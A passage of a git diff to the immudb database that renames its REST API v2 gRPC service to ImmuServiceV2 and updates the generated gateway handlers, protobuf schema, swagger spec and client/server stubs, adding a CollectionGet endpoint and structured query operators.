+ resp, md, err := request_ImmuServiceV2_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -531,14 +592,34 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -546,29 +627,33 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux } var ( - pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "system", "login"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_LoginV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"system", "login"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentInsert"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentSearch"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionCreate"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionList"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_ImmuService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionDelete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuServiceV2_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuServiceV2_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( - forward_ImmuService_Login_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_LoginV2_0 = runtime.ForwardResponseMessage + + forward_ImmuServiceV2_DocumentInsert_0 = runtime.ForwardResponseMessage - forward_ImmuService_DocumentInsert_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_DocumentSearch_0 = runtime.ForwardResponseMessage - forward_ImmuService_DocumentSearch_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionCreate_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionCreate_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionGet_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionList_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionList_0 = runtime.ForwardResponseMessage - forward_ImmuService_CollectionDelete_0 = runtime.ForwardResponseMessage + forward_ImmuServiceV2_CollectionDelete_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/schemav2/schemav2.proto index c076393203..493b8da26b 100644 --- a/pkg/api/schemav2/schemav2.proto +++ b/pkg/api/schemav2/schemav2.proto @@ -10,6 +10,7 @@ import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + base_path: "/api/v2", info: { title: "immudb REST API v2"; description: "" @@ -37,9 +38,26 @@ message DocumentInsertRequest { repeated google.protobuf.Struct document = 2; } + +enum QueryOperator { + EQ = 0; + GT = 1; + GTE = 2; + LT = 3; + LTE = 4; + LIKE = 5; +} + +message DocumentQuery { + string field = 1; + QueryOperator operator = 2; + google.protobuf.Value value = 3; +} + + message DocumentSearchRequest { string collection = 1; - map query = 2; + repeated DocumentQuery query = 2; uint32 page = 3; uint32 perPage = 4; } @@ -55,37 +73,34 @@ message LoginRequest { string username = 1; string password = 2; string database = 3; - bool writeAccess = 4; } -message LoginResponse { +message LoginResponseV2 { string token = 1; + int32 expirationTimestamp = 2; + } -message PossibleIndexValue { - // The kind of value. - oneof kind { - // Represents a double value. - double number_value = 1; - // Represents a string value. - string string_value = 2; - // Represents a boolean value. - bool bool_value = 3; - // Represents a int64 value - int64 int_value = 4; - } +enum PossibleIndexType { + DOUBLE = 0; + INTEGER = 1; + STRING = 2; } message CollectionCreateRequest { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; } message CollectionInformation { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionGetRequest { + string name = 1; } message CollectionListRequest { @@ -99,45 +114,77 @@ message CollectionDeleteRequest { string name = 1; } +message Proof { + string name = 1; +} + -service ImmuService { - rpc Login(LoginRequest) returns (LoginResponse) { +service ImmuServiceV2 { + rpc LoginV2(LoginRequest) returns (LoginResponseV2) { option (google.api.http) = { - post: "/api/v2/system/login" + post: "/system/login" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "authorization"; + }; } rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { option (google.api.http) = { - post: "/api/v2/documents/documentInsert" + put: "/documents/insert" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; } rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { option (google.api.http) = { - post: "/api/v2/documents/documentSearch" + post: "/documents/search" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; } rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { option (google.api.http) = { - post: "/api/v2/collections/collectionCreate" + put: "/collections/create" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; } + + rpc CollectionGet(CollectionGetRequest) returns (CollectionInformation) { + option (google.api.http) = { + get: "/collections/get" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; + } + + rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { option (google.api.http) = { - post: "/api/v2/collections/collectionList" + post: "/collections/list" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; } rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { option (google.api.http) = { - post: "/api/v2/collections/collectionDelete" - body: "*" + delete: "/collections/delete" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; }; } } \ No newline at end of file diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/schemav2/schemav2.swagger.json index d040f6bfbe..0aea3d4eaa 100644 --- a/pkg/api/schemav2/schemav2.swagger.json +++ b/pkg/api/schemav2/schemav2.swagger.json @@ -4,6 +4,7 @@ "title": "immudb REST API v2", "version": "version not set" }, + "basePath": "/api/v2", "consumes": [ "application/json" ], @@ -11,9 +12,9 @@ "application/json" ], "paths": { - "/api/v2/collections/collectionCreate": { - "post": { - "operationId": "ImmuService_CollectionCreate", + "/collections/create": { + "put": { + "operationId": "ImmuServiceV2_CollectionCreate", "responses": { "200": { "description": "A successful response.", @@ -39,13 +40,13 @@ } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/collections/collectionDelete": { - "post": { - "operationId": "ImmuService_CollectionDelete", + "/collections/delete": { + "delete": { + "operationId": "ImmuServiceV2_CollectionDelete", "responses": { "200": { "description": "A successful response.", @@ -62,22 +63,50 @@ }, "parameters": [ { - "name": "body", - "in": "body", - "required": true, + "name": "name", + "in": "query", + "required": false, + "type": "string" + } + ], + "tags": [ + "collections" + ] + } + }, + "/collections/get": { + "get": { + "operationId": "ImmuServiceV2_CollectionGet", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + }, + "default": { + "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/schemav2CollectionDeleteRequest" + "$ref": "#/definitions/runtimeError" } } + }, + "parameters": [ + { + "name": "name", + "in": "query", + "required": false, + "type": "string" + } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/collections/collectionList": { + "/collections/list": { "post": { - "operationId": "ImmuService_CollectionList", + "operationId": "ImmuServiceV2_CollectionList", "responses": { "200": { "description": "A successful response.", @@ -103,13 +132,13 @@ } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/documents/documentInsert": { - "post": { - "operationId": "ImmuService_DocumentInsert", + "/documents/insert": { + "put": { + "operationId": "ImmuServiceV2_DocumentInsert", "responses": { "200": { "description": "A successful response.", @@ -135,13 +164,13 @@ } ], "tags": [ - "ImmuService" + "documents" ] } }, - "/api/v2/documents/documentSearch": { + "/documents/search": { "post": { - "operationId": "ImmuService_DocumentSearch", + "operationId": "ImmuServiceV2_DocumentSearch", "responses": { "200": { "description": "A successful response.", @@ -167,18 +196,18 @@ } ], "tags": [ - "ImmuService" + "documents" ] } }, - "/api/v2/system/login": { + "/system/login": { "post": { - "operationId": "ImmuService_Login", + "operationId": "ImmuServiceV2_LoginV2", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/immudbschemav2LoginResponse" + "$ref": "#/definitions/schemav2LoginResponseV2" } }, "default": { @@ -199,7 +228,7 @@ } ], "tags": [ - "ImmuService" + "authorization" ] } } @@ -216,17 +245,6 @@ }, "database": { "type": "string" - }, - "writeAccess": { - "type": "boolean" - } - } - }, - "immudbschemav2LoginResponse": { - "type": "object", - "properties": { - "token": { - "type": "string" } } }, @@ -673,25 +691,17 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } } } }, - "schemav2CollectionDeleteRequest": { - "type": "object", - "properties": { - "name": { - "type": "string" - } - } - }, "schemav2CollectionInformation": { "type": "object", "properties": { @@ -701,13 +711,13 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } } } @@ -740,6 +750,20 @@ } } }, + "schemav2DocumentQuery": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "operator": { + "$ref": "#/definitions/schemav2QueryOperator" + }, + "value": { + "type": "object" + } + } + }, "schemav2DocumentSearchRequest": { "type": "object", "properties": { @@ -747,9 +771,9 @@ "type": "string" }, "query": { - "type": "object", - "additionalProperties": { - "type": "object" + "type": "array", + "items": { + "$ref": "#/definitions/schemav2DocumentQuery" } }, "page": { @@ -785,28 +809,38 @@ } } }, - "schemav2PossibleIndexValue": { + "schemav2LoginResponseV2": { "type": "object", "properties": { - "number_value": { - "type": "number", - "format": "double", - "description": "Represents a double value." - }, - "string_value": { - "type": "string", - "description": "Represents a string value." - }, - "bool_value": { - "type": "boolean", - "description": "Represents a boolean value." + "token": { + "type": "string" }, - "int_value": { - "type": "string", - "format": "int64", - "title": "Represents a int64 value" + "expirationTimestamp": { + "type": "integer", + "format": "int32" } } + }, + "schemav2PossibleIndexType": { + "type": "string", + "enum": [ + "DOUBLE", + "INTEGER", + "STRING" + ], + "default": "DOUBLE" + }, + "schemav2QueryOperator": { + "type": "string", + "enum": [ + "EQ", + "GT", + "GTE", + "LT", + "LTE", + "LIKE" + ], + "default": "EQ" } }, "securityDefinitions": { diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go index 67f83c61c4..3921607d6b 100644 --- a/pkg/api/schemav2/schemav2_grpc.pb.go +++ b/pkg/api/schemav2/schemav2_grpc.pb.go @@ -16,264 +16,300 @@ import ( // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 -// ImmuServiceClient is the client API for ImmuService service. +// ImmuServiceV2Client is the client API for ImmuServiceV2 service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type ImmuServiceClient interface { - Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) +type ImmuServiceV2Client interface { + LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) + CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) } -type immuServiceClient struct { +type immuServiceV2Client struct { cc grpc.ClientConnInterface } -func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { - return &immuServiceClient{cc} +func NewImmuServiceV2Client(cc grpc.ClientConnInterface) ImmuServiceV2Client { + return &immuServiceV2Client{cc} } -func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) { - out := new(LoginResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/Login", in, out, opts...) +func (c *immuServiceV2Client) LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) { + out := new(LoginResponseV2) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/LoginV2", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { +func (c *immuServiceV2Client) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { out := new(schema.VerifiableTx) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentInsert", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentInsert", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { +func (c *immuServiceV2Client) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentSearch", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentSearch", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { +func (c *immuServiceV2Client) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionCreate", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionCreate", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { +func (c *immuServiceV2Client) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { + out := new(CollectionInformation) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionGet", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceV2Client) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionList", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionList", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { +func (c *immuServiceV2Client) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { out := new(empty.Empty) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionDelete", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionDelete", in, out, opts...) if err != nil { return nil, err } return out, nil } -// ImmuServiceServer is the server API for ImmuService service. -// All implementations should embed UnimplementedImmuServiceServer +// ImmuServiceV2Server is the server API for ImmuServiceV2 service. +// All implementations should embed UnimplementedImmuServiceV2Server // for forward compatibility -type ImmuServiceServer interface { - Login(context.Context, *LoginRequest) (*LoginResponse, error) +type ImmuServiceV2Server interface { + LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) + CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) } -// UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. -type UnimplementedImmuServiceServer struct { +// UnimplementedImmuServiceV2Server should be embedded to have forward compatible implementations. +type UnimplementedImmuServiceV2Server struct { } -func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") +func (UnimplementedImmuServiceV2Server) LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) { + return nil, status.Errorf(codes.Unimplemented, "method LoginV2 not implemented") } -func (UnimplementedImmuServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { +func (UnimplementedImmuServiceV2Server) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") } -func (UnimplementedImmuServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { +func (UnimplementedImmuServiceV2Server) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") } -func (UnimplementedImmuServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { +func (UnimplementedImmuServiceV2Server) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") } -func (UnimplementedImmuServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { +func (UnimplementedImmuServiceV2Server) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") +} +func (UnimplementedImmuServiceV2Server) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") } -func (UnimplementedImmuServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceV2Server) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") } -// UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to ImmuServiceServer will +// UnsafeImmuServiceV2Server may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to ImmuServiceV2Server will // result in compilation errors. -type UnsafeImmuServiceServer interface { - mustEmbedUnimplementedImmuServiceServer() +type UnsafeImmuServiceV2Server interface { + mustEmbedUnimplementedImmuServiceV2Server() } -func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { - s.RegisterService(&ImmuService_ServiceDesc, srv) +func RegisterImmuServiceV2Server(s grpc.ServiceRegistrar, srv ImmuServiceV2Server) { + s.RegisterService(&ImmuServiceV2_ServiceDesc, srv) } -func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_LoginV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(LoginRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).Login(ctx, in) + return srv.(ImmuServiceV2Server).LoginV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/Login", + FullMethod: "/immudb.schemav2.ImmuServiceV2/LoginV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest)) + return srv.(ImmuServiceV2Server).LoginV2(ctx, req.(*LoginRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentInsertRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).DocumentInsert(ctx, in) + return srv.(ImmuServiceV2Server).DocumentInsert(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/DocumentInsert", + FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentInsert", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + return srv.(ImmuServiceV2Server).DocumentInsert(ctx, req.(*DocumentInsertRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentSearchRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).DocumentSearch(ctx, in) + return srv.(ImmuServiceV2Server).DocumentSearch(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/DocumentSearch", + FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentSearch", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + return srv.(ImmuServiceV2Server).DocumentSearch(ctx, req.(*DocumentSearchRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionCreateRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionCreate(ctx, in) + return srv.(ImmuServiceV2Server).CollectionCreate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionCreate", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionCreate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + return srv.(ImmuServiceV2Server).CollectionCreate(ctx, req.(*CollectionCreateRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionGetRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceV2Server).CollectionGet(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionGet", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceV2Server).CollectionGet(ctx, req.(*CollectionGetRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuServiceV2_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionListRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionList(ctx, in) + return srv.(ImmuServiceV2Server).CollectionList(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionList", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + return srv.(ImmuServiceV2Server).CollectionList(ctx, req.(*CollectionListRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionDelete_Handler(srv 